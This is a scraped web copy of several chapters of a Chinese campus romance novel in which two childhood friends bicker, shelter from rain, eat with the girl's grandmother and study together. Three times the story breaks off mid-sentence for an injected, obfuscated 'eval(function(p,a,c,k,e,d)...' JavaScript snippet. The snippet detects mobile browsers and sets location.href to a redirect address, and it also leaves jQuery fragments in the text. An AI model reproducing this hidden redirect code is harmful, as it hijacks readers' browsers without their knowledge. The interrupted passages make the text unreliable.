电话直接被挂断了。 乐缇和身旁的女同学面面相觑,然后一脸懵地站在门口。 好在门很快就被拉开。 贺知洲顶着一头微乱的黑发出现。 见到乐缇,他唇角不自觉扬起笑意,刚要开口,却瞥见她身后的女生,表情瞬间沉了下来。 “谁让你来的?出去。”他的语气冷得吓人。 乐缇从没被他这么凶过,一时愣住了,又委屈又生气,明明是他先闹别扭,她主动来找他,怎么反倒像是她做错了? 她也是有脾气的好吗! 她怒不可遏地瞪了他几秒,小发雷霆:“好啊!走就走!我再也不来了!!!” 贺知洲莫名其妙地瞥她一眼,伸手牵住她往屋里带,“我说的是她,又不是你,你生什么气?” 乐缇一脸状况外:“?” 女同学一脸紧张地对贺知洲说:“学长!你就看看我的礼物吧,我准备了很久的。” ? 什么意思? 所以这满满一箱…… 都是送给贺知洲的礼物? 乐缇忽然有些茫然。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16572372|187046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瘪了下唇,不太高兴。 ——她又被人骗了。 贺知洲看了乐缇一眼,才对那女生说:“上学期就放学堵我,晚上跟到我家楼下,这次直接找到排练室?好好学习吧,再这样我报警了。” 说完便拉着乐缇进屋,关上了门。 贺知洲皱眉,“你怎么和她一起来的?” “路上碰到,她向我问路。” 庞明星赶紧凑过来解释:“这个女生跟了老大很久来着,烦都烦死了,怎么劝都不听。” 翟尚然也看了过来,勾了下唇:“还真是说曹操曹操到啊。” 除了庞明星外,翟尚然和原一都是其他班的,乐缇和他们都不太熟,还是礼貌地笑笑。 贺知洲松开了她的手。 坐下来和庞明星简单聊了几句后,乐缇才对贺知洲说:“外婆叫你一起回家吃饭。” “知道了。” “走吗?现在。”乐缇绷着一张脸,“你要排练的话,我就自己回去了。” “白天练了一天了。”贺知洲弯腰捞起外套,顺手塞进乐缇手里,“帮我拿下。” 乐缇抱着他的外套站起身,先对最不熟的翟尚然微笑告别。 贺知洲也打了声招呼:“我们先走了,原一回来跟他说一声。” 庞明星:“好的老大。” 翟尚然:“行。” 两人前脚刚一起离开排练室,后脚出门接人的原一就领着人回来了。 “Hi!羿扬!”庞明星热情地打招呼。 羿扬的身量和贺知洲差不多,但是两人一看就是截然不同的气质和气场。 羿扬脸上总是挂着笑。 他的视线从不远处并肩的两人身上收回,眼神中带着点疑惑:“刚才……” 原一:“怎么了?你认识?” “没什么。”羿扬笑笑,“就是觉得女生有些眼熟。” . 两人走出排练室所在的锦峰大厦,准备乘门口的BRT回家。 扫码进了站,贺知洲忽然停下脚步,“刚才不是凶你。” 乐缇心不在焉地“哦”了一声。 她现在和贺知洲隔得有半臂的社交距离,扔能感受到周遭似有若无朝她投来的好奇视线。 和贺知洲走在一起总是会收到许多注视。 “乐缇,”贺知洲略微蹙眉,“还能再敷衍我一点吗?你怎么了?” “我没事啊。” 贺知洲垂眸看她:“那为什么不看我?” 乐缇一顿,忽然有些心烦意乱。 烦死了。 这个贺知洲有读心术吗? 她发现,在他面前似乎没办法太好地伪装自己,因为他总能第一时间察觉到她的情绪。 乐缇有种被看穿的慌乱,她强作冷静,幼稚地回嘴:“哦,为什么要看你?你很好看吗?” 贺知洲闻言,眉梢微挑。 他顺势俯身凑近了些,直勾勾地看着她的眼睛反问:“我不好看吗?” 长这么大,他还没被说过丑。 他对自己的外貌有着很清晰的认知。 距离就这么被拉近。 四目相对的瞬间。 两人同一时间怔了一下。 他靠得太近,五官在眼前放大。 那双桃花眼天生含笑,乐缇甚至能数清他低垂的乌黑睫毛。 最可恶的是—— 贺知洲经常熬夜,皮肤居然还这么好。 几秒后,贺知洲先别开了脸。 乐缇冷笑一声:“自恋狂!厚脸皮!” “嗯。”贺知洲直起身,语气欠欠的,“是挺厚的,大概比某个不敢看帅哥还口是心非的人厚一点。” “……?”乐缇匪夷所思地看向他,“贺知洲,你的脸皮是防弹材料做的吧?” “嗯,怎么了,你要摸摸吗?” 乐缇板着脸:“我不要!” 乐缇的眼睛生得很漂亮,此刻因为微恼而睁得圆圆的,哪怕故作凶狠,也自带几分娇嗔的意味,让人生不起气来。 贺知洲喉结微动。 在心里低声骂了句“笨蛋”。 等了两分钟,下一班BRT缓缓进站。这个时段车上人不少,最后排恰有两个空位。 乐缇率先上车,贺知洲刷了两次电子乘车卡,紧随其后坐下。 她从玩偶钱包里拿出来两枚硬币递过去,很有底气地说:“不用你请,包里刚好有零钱,还你!” 贺知洲眼皮都没抬一下。 半晌,懒洋洋地丢过来一句:“记账上,利滚利,以后一起还我。” 4. Chapter004 这段Brt跨海线路,乐缇不知往返过多少回,经过临安大桥时,视野也豁然开朗。 海天在远处连成一片。 乐缇靠窗望着,空中的云慢悠悠地飘,海面碎金跳跃,心情也跟着好起来。 过了这一段,风景还在流动。 此刻夕阳快落山,为万物镀上一层复古胶片般的滤镜,岸边的棕榈树高高矗立,有人骑着单车悠然掠过海岸线。 有时周末为了看风景,乐缇还会特意反方向乘坐,而身边必定会有贺知洲的陪伴。 良久,她微微回神。 透过车窗的倒影,发现贺知洲正注视着她。 转过头去,只见他轻轻挑眉,掌心似乎握着什么,却一言不发。 乐缇果然伸手去碰。 少年修长的指节缓缓舒展开,掌心里躺着一颗独立包装的咸柠薄荷糖。 是她最爱的口味。 她接过糖拆开,含进嘴里。 在贺知洲的注视下,仰起脸,用纯真的表情认真问他:“吃你的糖也要算利息吗?” 贺知洲被她逗笑了。 他弯了下唇,慢悠悠地说:“是啊,那你欠我的利息都不知道有多少了,打算怎么办?” 柠檬糖在舌尖化开甜意。 乐缇思考了一番,“那就继续欠着吧。” “可以一直欠着,给你免息。” 乐缇狐疑地看他:“真的?你有这么好心?” “骗你做什么。”贺知洲忽然抬起指节轻轻在她额头上弹了一下,“到站了,别只顾着看风景,也看看别的吧。” 乐缇跟着站起身。 肩上的书包忽然一轻—— 是贺知洲提起了她的书包带。 乐缇也早已习以为常,顺手就把书包脱下来递给他背。 她每次背书包总被说背不好,一边背带好好挂在肩上,另一边没走几步就会滑到臂弯。 背包上挂的轻松熊玩偶随着脚步一晃一晃。 两人一前一后下了车。 经过广告牌时,乐缇悄悄打量贺知洲。 少年身形修长,穿着黑色短T搭配宽松的阔腿裤,扣着一顶鸭舌帽,连背着她的少女风书包都像成了时尚单品。 她突然加快脚步想超过他。 贺知洲却眼疾手快地轻轻把她往后一拽,语气漫不经心的:“宝宝缇。” “?” 乐缇对这个亲昵的称呼感到些许不自在。 贺知洲叫她的时候,语气里总莫名觉得掺着些别样的意味,温柔得不像话。 贺知洲:“走那么快干什么?” 乐缇停下脚步,忽然凑近他,眨巴着大眼睛真诚地仰脸看着贺知洲,故意卖关子:“因为——” 贺知洲看着她陡然靠近,眼睫微动,腕上的iWatch显示心率悄然升到了一百多。 几秒后,薄唇微启:“因为什么?” 乐缇含着快融化的薄荷糖,砸吧了两下,在他的注视下,又一字一句认真地说:“因为我有潮男恐惧症。” 话刚说完,乐缇就先一步往外疾跑出站。 贺知洲:“…………” 他无奈垂眸一笑,迈开长腿跟了上去。 … 出站后,两人从Brt人行天桥往下走。 有一滴水滴在额头。 乐缇后知后觉地抬眼望了下天空。 身侧有行人忽然喊了句:“我靠!什么鬼天气!又下雨了。” 乐缇见贺知洲还是不紧不慢,瞥了他一眼,拽住他的衣角往前拉:“走快点呀,要下雨了!” 贺知洲看着她的丸子头,脚步依然没加快。 “小雨而已,急什——” 话没说完,一道惊雷炸响,雨点在一秒钟内变得又大又密。 这下贺知洲反应过来,迅速摘下鸭舌帽扣在乐缇头上,反手牵起她的手就往桥下跑。 两人的声音几乎被雨声淹没。 “贺知洲!我的书包淋湿了!” “还管什么书包,你也要成落汤鸡了。” “你跑慢点行不行!” “那你跟紧我。” … 他们终于在一家便利店门口找到地方躲雨。只跑了一小段,乐缇已经气喘吁吁,完全没注意到自己的手还被贺知洲牵着。 多亏了贺知洲的鸭舌帽,乐缇的头发没怎么湿,但上衣淋透了些,样子有点狼狈。 她第一反应是去看贺知洲,想瞧瞧他同样狼狈的模样。 但很快。 她唇边的窃喜就消失了。 贺知洲头发湿漉漉的,微低着头看她。雨水并没有影响他清晰的五官轮廓,那张脸依然很好看。 乐缇抿了抿嘴,不自在地转过脸去。 “怎么了?不高兴吗。”贺知洲问。 “没有。” “那怎么这副表情?” “因为没看到你变成丑丑的落汤鸡,我很失望。”乐缇语气硬邦邦地说。 贺知洲一愣,笑了:“乐缇,你直接夸我帅会怎么样?” “我会鼻子变长。” “别鬼扯,快说。” 乐缇不干:“才不要。” 说完,她又打开手机搜了一首歌,把蓝牙耳机分给他一只,“你要听歌吗?” 贺知洲不明所以,但还是接过戴上。 一高一矮的两人并肩站在屋檐下。 乐缇点了播放,直接把进度条拖到了歌曲高.潮部分。 ——是薛之谦的那首《丑八怪》。 贺知洲这次真气笑了。 . 雨势似乎没有要减缓的意思,两人只好在便利店买了把伞,撑着一起往小区的方向走。 到乐缇家门口,贺知洲将伞面上的雨水轻轻一抖,摆在门外墙角的位置,还没按密码,门就已经被打开了。 蒋惠芳看到两人,愣了一下:“哎呀,怎么淋雨了!快进来快进来。” 乐缇先一步进门,把鸭舌帽随手放在玄关,一边脱鞋一边委屈地嘟囔:“外婆,都怪贺知洲,非要拉着我淋雨。” 贺知洲站在门口没打算进来。 “洲洲,你快回去洗个热水澡,再过来吃饭。”蒋惠芳笑着对他说,“别感冒了。” “好,谢谢外婆。” … 半小时后,贺知洲换了身干净衣服,再次出现在乐缇家。 贺知洲看着她穿着白色小熊睡衣,盘腿坐在沙发上抱着半个冰镇麒麟瓜,用勺子挖了最中心那块红瓤送入口中。 乐缇看都没看他一眼,全神贯注地盯着电视里的乐队综艺。 贺知洲在她身边坐下,瞥了眼屏幕:“怎么看起这个了?” “这节目最近可火了,”乐缇说,“你看这组的电吉他手,他的吉他好像跟你那把一样。” “是一样。” 这时,屏幕上那组乐队开始了表演。 听到键盘手的开场,乐缇觉得挺新奇,转头问贺知洲:“这是什么音效?怎么弄出来的?” “用了Talk-Box哇声效果器。”贺知洲解释。 看了一会儿,他又微微蹙眉,“主唱失误了。” “怎么了?我没听出来。” “第二段verse进早了。” “这你都知道!” 这时,蒋惠芳从厨房走出来,“洲洲,我今天特地去菜场买了你爱吃的菜,晚上多吃点。” “外婆辛苦了,”贺知洲笑起来,“等会儿我帮您打下手。” 贺知洲平时看着随性,在长辈面前却格外懂礼数,也知分寸,蒋惠芳一直很喜欢他。 而蒋惠芳也和别的老太太不太一样。 她平时注重保养,出门总会打扮得体,优雅从容,一般人很难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16572373|187046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把眼前这位端庄的退休教师,和摇滚乐联系起来。 乐缇小时候一直觉得外婆是全世界最潮的外婆,总忍不住感叹:“外婆你好fashion!” 蒋惠芳也走过来看了会儿电视,对贺知洲说:“你上次推荐我的那个乐队,我听了他们的新歌,编曲很不错。” “对,他们在独立音乐里算很有特色的。” “嗯,就是歌词还嫩了点。”蒋惠芳忽然感叹,“时间过得真快,我想起我们那个年代听的摇滚乐。” 乐缇好奇地问:“外婆,你年轻时最喜欢谁的摇滚?崔健吗?” “那当然,崔健是中国摇滚的标杆,他那首《一无所有》是开山之作。”蒋惠芳说起这个明显来了兴致,“我们那会儿还迷唐朝啊、黑豹啊、Beyond更不用说了。尤其是窦唯那时候,真是才华横溢!” 蒋惠芳常说,音乐不分年代,只分好不好听。真正的摇滚精神,是自由、反叛,并且永远年轻。 而她从贺知洲身上,看到了这种精神。 蒋惠芳看向贺知洲,目光带着鼓励:“洲洲,外婆看好你。你继续努力,将来我和缇缇一起去听你的演出。” 贺知洲也不谦虚,笑着应下:“我会的,一定给你们留最好的位置。” 乐缇一边听他们聊天,一边挖了勺西瓜,敷衍地像海豹一样拍手:“哇,好荣幸哦。” 贺知洲侧目瞥了她一眼。 蒋惠芳又问:“你爸爸还是不支持你搞乐队?” “嗯。” “马上高三了,压力大不大?” “还行。” “不怕你爸回来抓你?” “我不想走,他也没办法。”贺知洲语气平静,“况且怕这怕那的,什么事都做不好。” 蒋惠芳赞同地点头,又慈爱地望着他们笑笑,“缇缇,今晚做你爱吃的酱油水杂鱼?” 乐缇还盯着电视,嘴里却下意识地接话:“可贺知洲不爱吃鱼啊。” 话音落下,她自己先愣了一下。 贺知洲闻言,原本没什么表情的脸上,唇角几不可察地向上弯了一下。 “知道知道,我也做了洲洲爱吃的肉末豆腐煲和西兰花。”蒋惠芳笑着站起来,“你们先看电视,我去准备菜。” 此时正值傍晚时分,临宜的雨来得快去得也快,一束夕阳穿透云层洒进屋里,恰好为少年的侧影镀上了一层浅金色的光边。 乐缇不经意间看过去。 光晕沿着男生高挺的鼻梁,弯起的唇,一路流淌而下,轮廓被勾勒得十分清晰,似乎连脸上细微的绒毛都清晰可见。 她不知觉中竟然看得有些出神。 但很快就被抓包。 贺知洲恰好朝她看过来,看到她盯着自己发呆,略一怔忪,随即弯了下唇:“怎么突然盯着我看,天天看还不够?” “我在看你背后的风景。” “是吗?” 不知为什么,乐缇忽然有些低落,连嘴里的西瓜都觉得没什么味道了。她装作不经意地问:“贺知洲,你爸妈不是一直想让你出国读书吗?你真不想去?” 贺知洲毫不犹豫:“我不想。” “为什么?” 贺知洲没有直接回答,反而问她:“怎么,舍不得我走?” “应该……会有一点吧。”乐缇停顿了几秒,才慢吞吞地说,“但你要是真去了伯克利,我以后就能跟别人炫耀,说我有个竹马是音乐天才!在伯克利读书,还会弹好多乐器。” 难得听她说出这样近乎夸奖的话。 贺知洲愣了一下,眼里泛起笑意:“谁说我想出国?国内也有很好的音乐学院,一样能学音乐。” “哦,你这么不想出国,”乐缇用他刚才的话反问,脱口而出,“该不会是舍不得我吧?” 贺知洲看着她,像是随口答道:“是啊,没有你我不行的。” 5. Chapter005 厨房里,乐缇刚帮外婆择完空心菜,心思却还停留在贺知洲最后那句话上。 ——“没有你我不行的。” 在那一瞬间,她的内心莫名有些慌乱,也不知所措,朦朦胧胧。可贺知洲说得那么随意,表情却又像认真的。 乐缇频频走神,直到外婆笑着提醒,才猛地回过神来。 她刚拿起沥水篮准备洗菜,一只系着红绳的手就从旁边伸来,自然地接过篮子,占住了水槽前的位置。 乐缇扭头看向身旁的人。 还有点懵:“你干嘛?” 贺知洲打开水龙头开始冲洗,垂着眼睫,语气里带着一种冻死人的幽默:“看不出来?我在洗菜。” 乐缇:“……” 活被抢了,她就只能靠在料理台边看着他。 少年的手指骨修长,骨节分明,有条不紊地洗菜、沥水,动作熟练得不像个十指不沾阳春雪的少爷。 要说贺知洲真是她见过最金贵又最难搞的男生,平时矿泉水只喝进口的依云,吃饭也不爱吃带壳的、有细刺的,还有一切剥起来麻烦的食物,挑剔得很。 但每次来她家里,却又会主动帮忙做家务。 怪不得外婆这么喜欢他。 乐缇忍不住小声咕哝:“你怎么就知道在我外婆面前献殷勤?心机Boy。” “你不懂。”贺知洲没抬头,“不先讨好蒋女士,怎么行。” 乐缇觉得这话逻辑不对,反问:“不对,你讨好我外婆干嘛?天天来我家蹭饭,不应该先讨好我吗?” 贺知洲洗菜的手一顿,瞥了她一眼,嘴角轻轻一扬:“笨死你算了。” 乐缇不满地看他,“你说谁笨?” “谁对号入座就说谁。” 乐缇叫他:“贺知洲!” “——贺知洲!” 乐缇怒了:“你是复读机吗?” “你是复读机吗?” “讨厌鬼!”乐缇抿了下唇,声音不自觉放低了,“我果然最讨厌你了。” 贺知洲这次却只学了前半句:“讨厌鬼。” 厨房里骤然闹腾起来,蒋惠芳抽空看了一眼两个孩子,含笑摇摇头。 乐缇说不过他,瘪着唇盯着他看了几秒。 她现在的脸也很红。 ——被气的。 这人怎么总是有办法三两句话就让她跳脚? … 菜洗好了,贺知洲关上水龙头。 蒋惠芳正好下楼买酱油,厨房里只剩下他们俩。 贺知洲顺手抽了张厨房用纸擦干手,一转头,发现乐缇还在幽幽地盯着他看。 “贺知洲,我讨厌你!”乐缇又说了一遍:“讨厌讨厌讨厌!” 贺知洲点头:“那可以只讨厌我吗?” “?” “还有,讨厌就讨厌,”他继续道,“别用这种小猫哼唧似的撒娇语气说行不行?” 他顿了顿,又慢悠悠补上一句:“怪让人误会的。” 乐缇:“…………” 等等,什么小猫哼唧? 什么撒娇!!! 谁撒娇了!! 乐缇惊得往后一退,眼睛瞪得圆圆的,先左右张望确认外婆还没回来,才虚张声势地嚷道:“你胡说什么!我哪里撒娇了!” 贺知洲看着她这反应,忍不住笑了:“算了,笨点就笨点吧,反正我——” 话说到一半却又戛然而止。 贺知洲转头又去剥蒜。 乐缇像被按了一键跟随,立刻凑上去,又急又气地追问:“反正什么?贺知洲你又说话说一半!” 贺知洲装听不见。 乐缇算是彻底明白了—— 贺知洲这人,心眼多得跟筛子似的,说话永远只说半句,就是专门来吊她胃口的!! . 晚饭一桌子家常菜,平淡且温馨,圆桌上还摆着几罐盛夏标配的菠萝啤。 乐缇刚坐下,头顶的吊灯就忽明忽暗闪了几下,最后彻底灭了。 贺知洲二话不说,搬来椅子长腿一跨站上去,利落地换上了外婆找来的新灯泡,又赢得外婆连连夸赞。 乐缇咬了咬牙:“……” 真是狼子野心!其心可诛! 席间,贺知洲和外婆聊得依旧融洽。 蒋惠芳先吃完,起身去阳台收衣服。 乐缇从小吃饭就慢,只有外婆从不催她,让她慢慢吃。后来,又多了一个贺知洲。 他似乎也放慢了速度,就这么陪着她。 贺知洲撑着下巴看向坐在对面的乐缇,慢吞吞地吃完了小半碗饭,又捧起那个盛着椰子鸡汤的卡通碗开始喝。 汤还没到嘴里,嘴就已经噘出二里地。 贺知洲无声地弯了下唇。 乐缇一口气“吨吨吨”喝完一碗汤,刚放下碗,就发现贺知洲一直在看她。 她眼皮一跳,对上他看狗都深情的桃花眼,不满地问:“你为什么一直盯着我看?知不知道你这样的行为很像私生饭?” “那私生饭提醒你一件事。” “什么?” “后天开学了,作业都写完了么?” 乐缇沉默了:“……” 世界上最恐怖的故事,没有之一。 马上要开学了。 完了,她这个暑假除了补数学,剩下那点可怜的休息时间几乎都用来追星追剧,其他学科倒是早就做了一些,而数学作业……根本就没动几笔。 乐缇看向贺知洲,嗫嚅道:“贺知洲,我突然觉得你今天挺帅的。” 贺知洲似笑非笑,“嗯?” “所以你愿意帮我写数学卷子吗?” 贺知洲被她这生硬的话题转折逗笑了。 “直说,你还有多少没做?” 乐缇心虚地低头,“嗯,其实也不多。” 贺知洲觉得有些意外。 这不像她平时的作风,他还以为这个暑假她真的“改过自新”,打算发奋图强了。 果不其然。 下一秒,他就听见乐缇含含糊糊地补了一句:“二十张卷子,也就十九张没写。” “?” . 半个小时后,书房里。 贺知洲接过乐缇那本新得像刚发的数学练习册,外加十九张模拟卷,一起摊在书桌上。映入眼帘的,是一片象征智慧空白的雪原。 贺知洲眼皮一跳,“你真就做了这么点?” “是啊,”乐缇肩膀一塌,语气可怜巴巴的,“你知道的,我从小就不会写数学题,一看就头晕眼花心跳加速,跟中了debuff一样。” 贺知洲:“……” 见他不为所动,乐缇仍不死心地扯了扯他的袖子,声音软绵绵的:“贺知洲,贺大帅哥……救人一命胜造七级浮屠,你就不能行行好,帮我写一点点吗?就一点点!” 贺知洲在她期待的目光中抽回袖子,难得非常温柔地笑了一下: “想都别想。” 虽然不能直接代写,但他可以教她。 贺知洲拉开她的笔袋,里面全是造型花哨的动物笔,像凑齐了一整个系列,除了涂卡笔,几乎找不出一支普通的。 贺知洲面无表情,“这里是动物园吗?” “什么,你不觉得很可爱吗?” 过了一会儿,贺知洲微不可闻地叹了口气,从那堆“动物”里随便扒拉出一支。 是只黑白配色的小狗造型。 乐缇眼睛一亮:“我们果然心有灵犀!” “?” “我就是觉得这只狗狗像你才买的。” 贺知洲站起身就要走。 乐缇一秒认怂,拉住他:“错了。” 贺知洲看她几秒,深吸一口气,坐回去,言简意赅:“草稿纸。” 乐缇双手递上,语气虔诚:“给!大哥。” 贺知洲仍抱着最后一丝希望,把练习册推到她面前:“哪些题不会?” “这里,这里,还有这里……嗯,基本上——”她划了一个巨大的、令人绝望的范围,涵盖了所有空白,然后来了句,“就这点吧。” 贺知洲:“……?” 她到底在补习机构学了点什么? 他沉默几秒,认命般地拿回练习册,语气平和:“行,一题一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16572374|187046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题来。你先自己读题,找找已知条件。” 在贺知洲的注视下,乐缇还是老老实实开始,有气无力地念经般读题:“已知{an}数列满足a1=2,an+1-2an=2n+1……” 接着,乐缇非常潇洒且郑重地写下一个“解”字,字迹难得工整,态度看似端正。 然后笔尖顿住,眉头紧紧皱起。 贺知洲耐心地等了三分钟,只看到她对着题目愁眉苦脸地发呆。 灯光洒在两人柔软的黑发上,映出浅浅光晕。贺知洲终于看不下去,微不可闻地叹了口气:“算了,过来点,我来给你讲。” 乐缇瞬间复活,乖乖点头,小脑袋凑过去,摆出虚心受教的表情。 贺知洲小时候被爷爷押着练过好几年书法,写的字锋利工整,是能当字帖的水平。 他垂着眼,笔尖在草稿纸上流畅地演算,步骤清晰,逻辑严谨,一边低声讲解思路和关键点。 可算到一半,他的声音忽然停住,笔也顿了下来。 因为乐缇不知不觉地越靠越近。 她看着那些天书般的公式,渐渐眼晕,最后像小时候一样,很自然地把下巴搁在他搭在桌边的手臂上,找了个舒服的支点。 就差没直接枕着当枕头了。 贺知洲能清晰地闻到她身上传来的薰衣草洗衣液的清香,混合着一点阳光晒过的味道。 他的目光不经意掠过少女因为烦恼而微微噘起的樱色唇瓣,又迅速移开。 几秒后,他垂下视线,用笔盖轻轻戳了戳她的脸颊:“靠这么近做什么?挡着光了。” 乐缇的注意力显然早就飞到了九霄云外,被戳了也不恼,甚至完全没觉得这姿势有何不妥,脱口而出:“当然是欣赏你的美貌啊,做题太伤眼睛了,需要洗洗眼。” 贺知洲笔尖一顿,在草稿纸上洇开层层叠叠的小墨点,“我让你看题,没让你看我。” “可你比题好看多了。” 贺知洲听到她这不过脑的话,深呼吸一口气,放下笔,“乐缇,你到底学不学?” “学学学学!”察觉到低气压,乐缇立刻弹起来坐直,强打起十二万分精神。 乐缇乖乖跟着他的思路做了几题,不懂的就问,但做着做着,眼神再次开始涣散、失焦。 她手里还捧着练习册,脑袋却像小鸡啄米似的一点一点。 贺知洲耐心讲完一道题的几种解法,刚转过头想问她听懂没有,肩上忽然落下一道不轻不重的分量。 他瞬间僵在原地。 侧头一看,乐缇捧着书靠在他肩上彻底睡着了,呼吸均匀绵长。 他愣了一下,有些好笑又有些无奈,伸手想去揭开她脸上那本书,怕她闷着。 下一秒,手却被一把抓住。 少女的手腕纤细白皙,掌心柔软,握着他的手不放。两人的腕骨贴在一起,上面的红绳也紧紧相依。 红绳是小时候外婆特地去寺庙里为他们俩求来的,说是保平安,从小戴到大,贴身佩戴,贺知洲连洗澡都没有摘下来。 他的目光从红绳移到两人交叠的手上,最终还是一动没动。 心里突然有些烦躁。 他和乐缇几乎天天见面,熟得不能再熟。 从幼儿园到小学,再到初中,哪怕高中分班了,也奇迹般地一直同班。 像这样的亲密举动,牵手、依靠、打闹……从小到大,数不胜数。 小时候乐缇摔倒了是他背回家;看电视累了是她靠着他肩膀睡;分享同一份美食更是家常便饭。 甚至此刻的桌底下,她的腿也无意识地蹭过来,抵上他的,寻求一个更舒服的姿势。 她太习惯了,习惯到理所当然,浑然不觉。 俨然对他没有一丝一毫的男女之防,也完全没有把他当作一个已经逐渐成熟、具有威胁性的异性来对待。 贺知洲望着她安静的睡颜,声音变得很轻:“乐缇。” “贺知洲。”她像是在梦呓,声音含糊不清,“我好困啊,就睡十分钟…十分钟,好不好……” 他静了几秒。 “好。” 什么都好。 6. Chapter006 在贺知洲的帮助下,乐缇经过两天奋战,总算把所有暑假作业赶完了。 开学当天,乐缇被设定的第五个闹钟叫醒,卧室里窗帘紧闭,一片昏暗,她不情愿地在被窝里挣扎了好一会儿才爬起来。 她迷迷糊糊地摸过手机。 贺知洲五分钟前发来好几条消息: -几点了 -不是说今天必定早起? -你是小猪吗这么能睡 乐缇慢吞吞地回: -是啊 -我还会学小猪叫,想不想听? 贺知洲秒回: -? -可以 -那你学吧 乐缇忍不住笑起来,这根本难不倒她!她一条条复制了他的消息发回去: -? -可以 -那你学吧 对面显示“对方正在输入中…”将近一分钟之久,贺知洲的消息才回过来。 -? -算了,懒得跟你计较 又过了十秒钟。 -那家肠粉店开了,吃不吃? 乐缇眼睛一亮。 嗯? 肠粉店老板回来了么? 这家店在街上开了十几年,乐缇从小吃到大,是忠实粉丝。上个月老板突然贴告示回老家,歇业整整一个月,让她馋了好几天。 睡意顿时消了大半,乐缇随手发了个表情包。 -[小狗小摆] -吃!!!! 贺知洲用的表情包和她同一个系列。 -[大狗大摆] -要多久? 乐缇保守估计了一下:大概二十分钟吧。 很快,贺知洲给她转来52块钱。 乐缇发过去一个问号。 -干嘛ovo -私生饭不干了? -散财童子上线了? 贺知洲依旧很快回复: -是啊 -买个准时宝 -二十分钟后没下楼你赔我520 有这么算账的吗?! 原本还想赖床五分钟的乐缇瞬间清醒,飞快爬起来冲进卫生间洗漱,一边着急地发语音:“我二十分钟内肯定到,这52块钱我赚定了!” 贺知洲很快也回了条语音消息。 乐缇一边刷牙一边点开。 听筒里,贺知洲声音里含着显而易见的笑意,在她耳边轻轻响起:“知道了,小财迷。别又忘了戴校徽,要扣分的。” “知道了。” 乐缇洗漱完,换上外婆昨天洗好的校服,利落地扎起高马尾,对着镜子理了理刘海才走出卧室。 蒋惠芳知道两个孩子要在外吃早餐,今天就没准备早饭,正坐在沙发上边喝豆浆边看书。听到动静,她抬头看向风风火火跑出来的乐缇。 看了眼挂钟,外婆慈爱地笑:“缇缇,慢点跑,来得及的。” “贺知洲在等我,”乐缇在玄关换鞋,“我走啦,拜拜外婆。” 蒋惠芳笑着点头:“好,路上小心。” “知道啦!” … 走出电梯,乐缇一眼就看见了等在楼栋门口的贺知洲。天光初亮,少年身形修长,一身附中的蓝白校服,脚上是一双限量版白色运动鞋,单肩挎着黑色书包。 贺知洲背对着她站着。 不得不承认,贺知洲是老天爷追着喂饭那种,宽肩窄腰,天生的衣服架子,乐缇从未见过有人能把普通的校服穿出这种又懒又帅的调调。 上帝到底给他关了哪扇窗? 挑不出任何死角缺陷的外貌,优越的身高,再加上从小就成绩出类拔萃,还是个走到哪朋友都很多的人。 乐缇低头看了眼时间,背着书包快步跑出电梯,朝他小跑过去。贺知洲像是心有感应,恰在这时转过身来。 他忽然怔了一下。 少女扎着利落的高马尾,穿着最常见的蓝白校服,肌肤白皙,脸蛋还带着些许青涩。那双大眼睛清澈明亮,因为跑得急,额前的刘海都有些乱了。 贺知洲有些无奈,“你跑这么急做什么?” 乐缇喘了口气,沮丧地看了眼手机:“你说呢?可恶,我还是迟了一分钟!” 贺知洲没想到她真当真。 轻轻挑眉,“谁说你迟到了?” “啊?”乐缇迷惑,“可我手机显示……” “我手机刚好快一分钟,”贺知洲打断她,唇角微弯,“所以你没迟到,正好二十分钟。” 反应过来后,乐缇仰起脸看向贺知洲,真诚地眨了眨眼,“贺知洲,你真是个好人。” 贺知洲:“能不能说点我不知道的。” . 两人走了几分钟到了肠粉店。 今天是开学第一天,门店内已经几乎坐满了穿着附近两所中学校服的学生。 两人找了个角落的位置坐下。 贺知洲一如既往地抽了几张纸先擦干净乐缇那块的桌面,才开始擦自己这块的。 老板还在忙碌。 乐缇刚要开口,贺知洲就已经替她说了:“老板,一份猪肉海鲜蛋肠粉,一份牛肉肠粉。” “好嘞。”老板抬头看了一眼,笑容满面,“又是你们啊,新学期加油啊!” 乐缇这会儿才有点要开学的实感,瞬间蔫了,耷拉下眼皮,有气无力地应了声:“谢谢老板。” 简单寒暄几句,肠粉很快端了上来。 肠粉卖相很好,肠粉皮薄如蝉翼、晶莹剔透,酱汁淋上去之后更是香气扑鼻,表面还撒了一些嘎嘣脆的萝卜干。 乐缇吃肠粉喜欢加剁椒。 她刚想去拿剁椒罐,贺知洲就已经了然地将罐子推到了她手边。 舀了一勺鲜红欲滴的剁椒铺在晶莹的肠粉上,乐缇心满意足地吃起来。 